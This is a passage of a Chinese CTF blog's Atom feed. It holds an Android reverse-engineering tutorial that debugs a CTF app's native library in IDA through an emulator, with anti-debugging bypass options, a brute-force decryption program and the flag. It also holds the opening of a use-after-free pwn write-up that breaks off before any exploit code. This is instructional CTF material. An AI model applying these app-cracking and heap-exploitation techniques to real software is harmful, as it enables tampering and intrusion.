    <category term="二进制漏洞利用" scheme="https://www.uf4te.cn/categories/%E4%BA%8C%E8%BF%9B%E5%88%B6%E6%BC%8F%E6%B4%9E%E5%88%A9%E7%94%A8/"/>
    
    
    <category term="CTF" scheme="https://www.uf4te.cn/tags/CTF/"/>
    
    <category term="Pwn" scheme="https://www.uf4te.cn/tags/Pwn/"/>
    
  </entry>
  
  <entry>
    <title>Android逆向与动态调试</title>
    <link href="https://www.uf4te.cn/posts/13f0410d.html"/>
    <id>https://www.uf4te.cn/posts/13f0410d.html</id>
    <published>2024-05-23T15:45:58.000Z</published>
    <updated>2025-10-29T08:19:40.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="安卓-APK-逆向"><a href="#安卓-APK-逆向" class="headerlink" title="安卓 APK 逆向"></a>安卓 APK 逆向</h1><blockquote><p>Android 的逆向主要分为两个层面：</p><ol><li>Java 层  </li><li>原生层</li></ol><p>Android 逆向常用工具 jadx 下载地址：<a href="https://github.com/skylot/jadx">GitHub - skylot&#x2F;jadx: Dex to Java decompiler</a></p></blockquote><p>首先了解一下 Android：</p><ul><li>Android 也可以看成是 Linux 的一个发行版，但不是 GNU&#x2F;Linux</li><li>Ubuntu、Kali 等也是 Linux 的发行版，但都是基于 GNU&#x2F;Linux 的发行版，它们的应用层用的是 GNU（glibc、libstdc++、GNU CoreUtils 等）</li><li>也就是说，Android 和 Ubuntu、Kali 等基于 GNU&#x2F;Linux 的 Linux 发行版是不一样的，Android 的应用层是自己独有的，不依赖于 GNU</li></ul><hr><h2 id="Java-层"><a href="#Java-层" class="headerlink" title="Java 层"></a>Java 层</h2><blockquote><p>简而言之，就是直接分析 APK 的 <code>MainActivity</code> 方法，不存在其他的链接库调用，一般仅需要掌握 Java 语言即可</p></blockquote><p>用 jadx 打开 apk 程序后，主要方法 <code>MainActivity</code> 通常位于 <code>com.xxx.xxx</code> 下</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%911.png" alt="CTF - REVERSE_Android 逆向1.png"></p><p>对于 <code>MainActivity</code> 中的一些字符串变量，例如：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%912.png" alt="CTF - REVERSE_Android 逆向2.png"></p><p>这里的 <code>C0535R.string.table</code> 可以在如下路径中找到：<code>资源文件/resources.arsc/res/values/strings.xml</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%913.png" alt="CTF - REVERSE_Android 逆向3.png"></p><p>jadx 分析 Android 的 Java 层代码和 IDA 分析 C&#x2F;C++ 程序一样，从 <code>MainActivity</code> 开始一路分析即可</p><blockquote><p>Android 程序 Java 层逆向例题见本站《<a href="f0b0acd4.html">【楚慧杯 2023】Level_One</a>》</p></blockquote><hr><h2 id="原生层"><a href="#原生层" class="headerlink" title="原生层"></a>原生层</h2><blockquote><p>原生层也叫 Native 层，指的是 Android 操作系统的底层，包括 Linux 内核和各种 C&#x2F;C++ 库</p><p>Native 层通常会使用 <code>so</code> 文件来实现相关的方法，有点类似于 Linux 中的动态链接库，一般需要掌握 Java 语言、C&#x2F;C++ 语言、汇编语言</p></blockquote><p><strong>Android 的 apk 程序实质上也是一个压缩包，我们可以对 apk 程序直接进行解压</strong>（使用 7-zip 或者 WinRAR 都可以）</p><p>然后会得到如下结构的目录：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%914.png" alt="CTF - REVERSE_Android 逆向4.png"></p><p>其实细心一点可以发现，这个目录结构和 jadx 中看到的结构是一样的</p><p>而 <code>so</code> 文件通常在 <code>lib</code> 文件夹下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%915.png" alt="CTF - REVERSE_Android 逆向5.png"></p><blockquote><p><strong>由于 Android 程序需要考虑适配市面上不同手机的 CPU 架构，因此会生成支持不同平台的 <code>so</code> 文件进行兼容</strong></p></blockquote><p>这里每一个文件夹中的 <code>so</code> 文件就对应了一个 CPU 架构</p><p>它们的内容几乎都是一样的，分析其中之一即可，通常是在 IDA 中分析 <code>x86</code> 或 <code>x86_64</code> 架构</p><blockquote><p>Android 程序原生层逆向例题见本站 《<a href="6ff303c9.html">【楚慧杯 2023】Level_up</a>》</p></blockquote><hr><h3 id="什么是-so"><a href="#什么是-so" class="headerlink" title="什么是 so"></a>什么是 so</h3><blockquote><p>与 Linux 类似，Native 层代码通常存在于 <code>so</code> 文件中，<code>so</code> 文件全称为 Shared Object，使用 <code>so</code> 可以提高开发效率、快速移植</p><p>开发 Android 应用时，有时候 Java 层的编码不能满足实现需求，就需要使用 C&#x2F;C++ 实现，然后生成 so 文件，常见的场景有：加解密算法、音视频编解码等</p></blockquote><p><code>so</code> 文件的加载通常有两种方式：</p><ul><li><code>loadLibrary</code> 加载（<strong>主要使用</strong>）</li></ul><pre class="line-numbers language-java" data-language="java"><code class="language-java"><span class="token class-name">System</span><span class="token punctuation">.</span><span class="token function">loadLibrary</span><span class="token punctuation">(</span><span class="token string">"xxx"</span><span class="token punctuation">)</span>   <span class="token comment">// 调用项目中 lib 目录下的 libxxx.so 文件</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>一般通过 JNI 来实现</p><blockquote><p>JNI 全名 Java Native Interface，是 Java 本地接口</p><p>JNI 是 Java 调用 Native 语言的一种特性，通过 JNI 可以使 Java 与 C&#x2F;C++ 机型交互，简单点说就是 JNI 是 Java 中调用 C&#x2F;C++ 的统称</p></blockquote><p>在 Android 中 JNI 的实现示例如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%916.png" alt="CTF - REVERSE_Android 逆向6.png"></p><p>这里通过 JNI 从 <code>libSecret_entrance.so</code> 文件中调用了两个方法：  </p><p>① <code>Java_com_example_re11113_jni_getiv(__int64 a1)</code><br>② <code>Java_com_example_re11113_jni_getkey(__int64 a1)</code>  </p><ul><li><code>load</code> 加载（主要用于在插件中加载 <code>so</code> 文件）</li></ul><pre class="line-numbers language-java" data-language="java"><code class="language-java"><span class="token class-name">System</span><span class="token punctuation">.</span><span class="token function">load</span><span class="token punctuation">(</span><span class="token string">"xxx"</span><span class="token punctuation">)</span>   <span class="token comment">// xxx 对应 lib 的绝对路径</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><hr><h1 id="IDA-动态调试安卓-so"><a href="#IDA-动态调试安卓-so" class="headerlink" title="IDA 动态调试安卓 so"></a>IDA 动态调试安卓 so</h1><blockquote><p>使用 IDA 动态调试意味着我们要将 apk 运行起来，可以使用模拟器（如：雷电模拟器），也可以使用真实的安卓手机（建议拥有 root 权限）</p><p>当然有 root 的真机最好，用 Android 模拟器来动态调试 <code>so</code> 文件可能无法进行某些步骤</p><p>adb 命令使用方法：<a href="https://zhuanlan.zhihu.com/p/89060003">ADB 命令大全 - 知乎</a></p></blockquote><p>在 IDA 的 <code>dbgsrv</code> 目录下有许多远程调试用的服务程序：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%917.png" alt="CTF - REVERSE_Android 逆向7.png"></p><p>调试安卓用到的主要是上图红框中的程序，但它们也有区别：</p><ul><li><p><em>真实的安卓手机通常是 ARM 架构，对应 <code>android_server</code> 和 <code>android_server_64</code></em></p></li><li><p><em>模拟器（如：雷电模拟器）通常是 x86 架构，对应 <code>android_x86_server</code> 和 <code>android_x64_server</code></em></p></li></ul><p>我这里主要以雷电模拟器作为例子</p><p>以《2024 WIDC 天融信杯》的《Day2-debug 算法逆向》这道题来说明</p><p>用 jadx 打开 apk，定位到 <code>MainActivity</code>，主要与 <code>getFlag()</code> 函数有关：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9117.png" alt="CTF - REVERSE_Android 逆向17.png"></p><p>函数的定义在 <code>libread.so</code> 文件中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9118.png" alt="CTF - REVERSE_Android 逆向18.png"></p><p>关键加密逻辑在于：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c">  <span class="token keyword">do</span>  <span class="token punctuation">&#123;</span>LABEL_16<span class="token operator">:</span>    v62 <span class="token operator">=</span> v3<span class="token punctuation">[</span>v7<span class="token punctuation">]</span><span class="token punctuation">;</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">48</span><span class="token punctuation">)</span> <span class="token operator">&lt;=</span> <span class="token number">9u</span> <span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      v62 <span class="token operator">=</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">45</span> <span class="token operator">-</span> <span class="token number">5</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">45</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">5u</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFE</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x30</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">97</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0x19u</span> <span class="token punctuation">)</span>    <span class="token punctuation">&#123;</span>      <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">65</span><span class="token punctuation">)</span> <span class="token operator">&lt;=</span> <span class="token number">0x19u</span> <span class="token punctuation">)</span>        v62 <span class="token operator">=</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">62</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">0x1Au</span> <span class="token operator">+</span> <span class="token number">65</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">else</span>    <span class="token punctuation">&#123;</span>      v62 <span class="token operator">=</span> <span class="token punctuation">(</span>v62 <span class="token operator">-</span> <span class="token number">94</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">0x1Au</span> <span class="token operator">+</span> <span class="token number">97</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>    v5<span class="token punctuation">[</span>v7<span class="token operator">++</span><span class="token punctuation">]</span> <span class="token operator">=</span> v62 <span class="token operator">^</span> <span class="token number">3</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">while</span> <span class="token punctuation">(</span> v6 <span class="token operator">!=</span> v7 <span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token keyword">return</span> <span class="token function">strcmp</span><span class="token punctuation">(</span>v5<span class="token punctuation">,</span> buff<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>这里对 <code>v62</code> 进行了处理，分别对应 <code>v62</code> 为 <code>0 ~ 9</code>、<code>a ~ z</code> 和 <code>A ~ Z</code> 的情况，循环次数为 <code>v6</code>，最后将加密后的数据与 <code>buff</code> 比较，显然 <code>v5</code> 是明文，<code>buff</code> 是密文</p><p>但是 <code>buff</code> 处并没有内容，因此可能是动态生成的，必须动态调试才能拿到密文</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9119.png" alt="CTF - REVERSE_Android 逆向19.png"></p><p>下载雷电模拟器：<a href="https://www.ldmnq.com/">雷电安卓模拟器-手游模拟器安卓版_android手机模拟器电脑版_雷电模拟器官网</a></p><p><strong>雷电模拟器要开启 root 模式，否则 IDA 找不到要附加的进程</strong></p><p>然后在雷电模拟器的安装路径下，有一个 <code>adb.exe</code> 程序，我这里是 <code>D:\leidian\LDPlayer9</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%919.png" alt="CTF - REVERSE_Android 逆向9.png"></p><p>将该路径加入环境变量，便可以在 CMD 中直接使用 <code>adb</code> 命令：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%918.png" alt="CTF - REVERSE_Android 逆向8.png"></p><p>将 apk 程序安装到雷电模拟器，并保证其可以正常运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9110.png" alt="CTF - REVERSE_Android 逆向10.png"></p><p>在 IDA 的 <code>dbgsrv</code> 目录下打开 CMD</p><p>测试一下是否能连接到雷电模拟器： （<strong>一般只要安卓设备连接正确，会自动启动 adb server</strong>）</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb devices<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9111.png" alt="CTF - REVERSE_Android 逆向11.png"></p><p>以 root 权限运行：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb root<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9112.png" alt="CTF - REVERSE_Android 逆向12.png"></p><p>将 IDA 的 Android 调试服务程序推送到雷电模拟器：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb push android_x64_server /data/local/tmp   <span class="token comment"># 也可以选择推送到其他路径</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9113.png" alt="CTF - REVERSE_Android 逆向13.png"></p><blockquote><p>注意这里 IDA 的 <code>server</code> 要选对，64 位雷电模拟器一般选择 <code>android_x64_server</code></p></blockquote><p>通过 shell 连接雷电模拟器：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb shell<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>到 <code>/data/local/tmp</code> 目录下赋予 <code>android_x64_server</code> 执行权限：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token builtin class-name">cd</span> /data/local/tmp <span class="token operator">&amp;&amp;</span> <span class="token function">ls</span><span class="token function">chmod</span> <span class="token number">777</span> android_x64_server<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9114.png" alt="CTF - REVERSE_Android 逆向14.png"></p><p>运行 <code>android_x64_server</code>：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">./android_x64_server<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9115.png" alt="CTF - REVERSE_Android 逆向15.png"></p><p>如果 <code>android_x64_server</code> 在 23946 端口正常开启监听，说明一切正常</p><p>另外开启一个 CMD，将雷电模拟器的端口转发到本机：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb forward tcp:23946 tcp:23946   <span class="token comment"># 前面是电脑本机的端口，后面是手机的端口</span><span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>为了让 IDA 能够发现该 APP，在调试模式打开 APP：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb shell am start <span class="token parameter variable">-D</span> <span class="token parameter variable">-n</span>  com.ctf.read/com.ctf.read.MainActivity<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>具体名称可以在 <code>资源文件/AndroidManifest.xml</code> 中查看</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9116.png" alt="CTF - REVERSE_Android 逆向16.png"></p><p>雷电模拟器会弹出等待调试的弹窗：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9120.png" alt="CTF - REVERSE_Android 逆向20.png"></p><p>在 IDA 中使用远程 Linux 调试器：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9121.png" alt="CTF - REVERSE_Android 逆向21.png"></p><p>为了防止 apk 反调试，勾选下图中三个调试选项：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9122.png" alt="CTF - REVERSE_Android 逆向22.png"></p><p><code>Hostname</code> 设置为 127.0.0.1，<code>Port</code> 设置为前面转发到本机的端口号，我这里是 23946</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9123.png" alt="CTF - REVERSE_Android 逆向23.png"></p><blockquote><p>如果报错显示拒绝连接，检查转发端口号是否正确，或者重新转发一次</p></blockquote><p>由于 so 文件无法单独运行，因此我们需要 <code>attach</code> 附加进程</p><p>如果前面没出错的话，在 IDA 的 <code>attach</code> 列表里是可以看到该进程的：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9124.png" alt="CTF - REVERSE_Android 逆向24.png"></p><p>找到 <code>buff</code> 存放的地址：<code>0x7FFF5A3772A0</code>，初始时未定义</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9125.png" alt="CTF - REVERSE_Android 逆向25.png"></p><p>设置 jdwp 调试端口</p><p>首先查看一下雷电模拟器中该程序的端口号：</p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb shell <span class="token function">ps</span> <span class="token parameter variable">-ef</span> <span class="token operator">|</span> <span class="token function">grep</span> com<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9126.png" alt="CTF - REVERSE_Android 逆向26.png"></p><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">adb forward tcp:8700 jdwp:3047   <span class="token comment"># 注意将 3047 端口号修改为自己的</span>jdb <span class="token parameter variable">-connect</span> <span class="token string">"com.sun.jdi.SocketAttach:hostname=127.0.0.1,port=8700"</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9127.png" alt="CTF - REVERSE_Android 逆向27.png"></p><p>然后 IDA 图标会闪烁，回到 IDA 就可以正常 F9、正常下断点了</p><p>运行后，<code>buff</code> 存放的地址：<code>0x7FFF5A3772A0</code> 处生成了数据</p><p>提取出来得到密文：<code>jm0g3&#123;djyalj&#123;4og3k1vequwbi:f61:6f;36:;2dkkfAWRjSv2UFDukk</code></p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/CTF%20-%20REVERSE_Android%20%E9%80%86%E5%90%9128.png" alt="CTF - REVERSE_Android 逆向28.png"></p><p>根据加密逻辑暴力破解：</p><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;iostream></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;string></span></span><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">char</span> enc<span class="token punctuation">[</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"jm0g3&#123;djyalj&#123;4og3k1vequwbi:f61:6f;36:;2dkkfAWRjSv2UFDukk"</span><span class="token punctuation">;</span>    <span class="token keyword">char</span> dec<span class="token punctuation">;</span>    <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> i <span class="token operator">=</span> <span class="token number">0</span><span class="token punctuation">;</span> i <span class="token operator">&lt;</span> <span class="token number">56</span><span class="token punctuation">;</span> i<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>        <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">int</span> j <span class="token operator">=</span> <span class="token number">32</span><span class="token punctuation">;</span> j <span class="token operator">&lt;</span> <span class="token number">127</span><span class="token punctuation">;</span> j<span class="token operator">++</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">48</span><span class="token punctuation">)</span> <span class="token operator">&lt;=</span> <span class="token number">9</span> <span class="token punctuation">)</span>                dec <span class="token operator">=</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">45</span> <span class="token operator">-</span> <span class="token number">5</span> <span class="token operator">*</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">45</span><span class="token punctuation">)</span> <span class="token operator">/</span> <span class="token number">5</span><span class="token punctuation">)</span> <span class="token operator">&amp;</span> <span class="token number">0xFE</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token operator">|</span> <span class="token number">0x30</span><span class="token punctuation">;</span>            <span class="token keyword">else</span> <span class="token keyword">if</span> <span class="token punctuation">(</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">97</span><span class="token punctuation">)</span> <span class="token operator">></span> <span class="token number">0x19</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">65</span><span class="token punctuation">)</span> <span class="token operator">&lt;=</span> <span class="token number">0x19</span><span class="token punctuation">)</span>                    dec <span class="token operator">=</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">62</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">0x1A</span> <span class="token operator">+</span> <span class="token number">65</span><span class="token punctuation">;</span>            <span class="token keyword">else</span>                dec <span class="token operator">=</span> <span class="token punctuation">(</span>j <span class="token operator">-</span> <span class="token number">94</span><span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">0x1A</span> <span class="token operator">+</span> <span class="token number">97</span><span class="token punctuation">;</span>            dec <span class="token operator">=</span> dec <span class="token operator">^</span> <span class="token number">3</span><span class="token punctuation">;</span>            <span class="token keyword">if</span> <span class="token punctuation">(</span>dec <span class="token operator">==</span> enc<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">&amp;&amp;</span> <span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token number">48</span> <span class="token operator">&lt;=</span> j <span class="token operator">&amp;&amp;</span> j <span class="token operator">&lt;=</span> <span class="token number">57</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token number">65</span> <span class="token operator">&lt;=</span> j <span class="token operator">&amp;&amp;</span> j <span class="token operator">&lt;=</span> <span class="token number">90</span><span class="token punctuation">)</span> <span class="token operator">||</span> <span class="token punctuation">(</span><span class="token number">97</span> <span class="token operator">&lt;=</span> j <span class="token operator">&amp;&amp;</span> j <span class="token operator">&lt;=</span> <span class="token number">122</span><span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">&#123;</span>                <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"%c"</span><span class="token punctuation">,</span> j<span class="token punctuation">)</span><span class="token punctuation">;</span>                <span class="token keyword">break</span><span class="token punctuation">;</span>            <span class="token punctuation">&#125;</span>        <span class="token punctuation">&#125;</span>    <span class="token punctuation">&#125;</span>    <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>得到 flag：<code>fk0a7udfwylfu4ia7e9rcosqDg6b2962b572658deebQNfMr8Ssee</code></p>]]></content>
    
    
    <summary type="html">总结一下安卓逆向中的一些知识点，包括如何静态分析安卓程序，以及如何使用 IDA 来动态调试安卓程序的 so 文件</summary>
    
    
    
    <category term="逆向工程" scheme="https://www.uf4te.cn/categories/%E9%80%86%E5%90%91%E5%B7%A5%E7%A8%8B/"/>
    
    
    <category term="Reverse" scheme="https://www.uf4te.cn/tags/Reverse/"/>
    
    <category term="IDA" scheme="https://www.uf4te.cn/tags/IDA/"/>
    
  </entry>
  
  <entry>
    <title>【BUUCTF】hitcontraining_uaf</title>
    <link href="https://www.uf4te.cn/posts/1cb138a7.html"/>
    <id>https://www.uf4te.cn/posts/1cb138a7.html</id>
    <published>2024-05-17T08:21:50.000Z</published>
    <updated>2025-10-29T08:20:33.000Z</updated>
    
    <content type="html"><![CDATA[<h1 id="收获"><a href="#收获" class="headerlink" title="收获"></a>收获</h1><ul><li><p>堆中的 ret2text</p></li><li><p><mark>利用 UAF 漏洞，两次 <code>free</code>，一次 <code>malloc</code>，篡改被释放的堆中的数据为后门函数地址，然后再打印被释放的堆块内容触发后门函数</mark></p></li></ul><hr><p><a href="https://buuoj.cn/challenges#hitcontraining_uaf">【BUUCTF】hitcontraining_uaf</a></p><hr><h1 id="思路"><a href="#思路" class="headerlink" title="思路"></a>思路</h1><blockquote><p>本地环境：Glibc 2.23</p></blockquote><p>查看保护机制：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf1.png" alt="【BUUCTF】hitcontraining_uaf1.png"></p><p>尝试运行：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf2.png" alt="【BUUCTF】hitcontraining_uaf2.png"></p><p>一个经典菜单题，IDA 下分析：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf3.png" alt="【BUUCTF】hitcontraining_uaf3.png"></p><p>主要漏洞发生在 <code>del_note()</code> 中：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf4.png" alt="【BUUCTF】hitcontraining_uaf4.png"></p><p>通过 <code>free</code> 释放内存后未置 0，存在 UAF 漏洞</p><p>同时存在一个后门函数 <code>magic()</code>：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf5.png" alt="【BUUCTF】hitcontraining_uaf5.png"></p><p>结合 GDB 调试，分析一下 <code>add_note()</code> 函数：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf7.png" alt="【BUUCTF】hitcontraining_uaf7.png"></p><p>验证一下我们的分析，使用一次 <code>add_note(32, b&#39;aaaa&#39;)</code> 后堆结构如下：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf9.png" alt="【BUUCTF】hitcontraining_uaf9.png"></p><p>第一个堆块我们无法控制，它有两个指针，一个指向 <code>print_note_content()</code> 函数，一个指向 <code>note chunk</code>，我们只能控制第二个堆块 <code>note chunk</code> 的 <code>content</code></p><p>为了方便理解，用图表示出来就是这样：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf8.png" alt="【BUUCTF】hitcontraining_uaf8.png"></p><p><code>print_note()</code> 函数用于输出 <code>note chunk</code> 中的 <code>content</code> 内容：</p><p><img src="https://blog-markdown-1317553172.cos.ap-nanjing.myqcloud.com/%E3%80%90BUUCTF%E3%80%91hitcontraining_uaf10.png" alt="【BUUCTF】hitcontraining_uaf10.png"></p><p><img 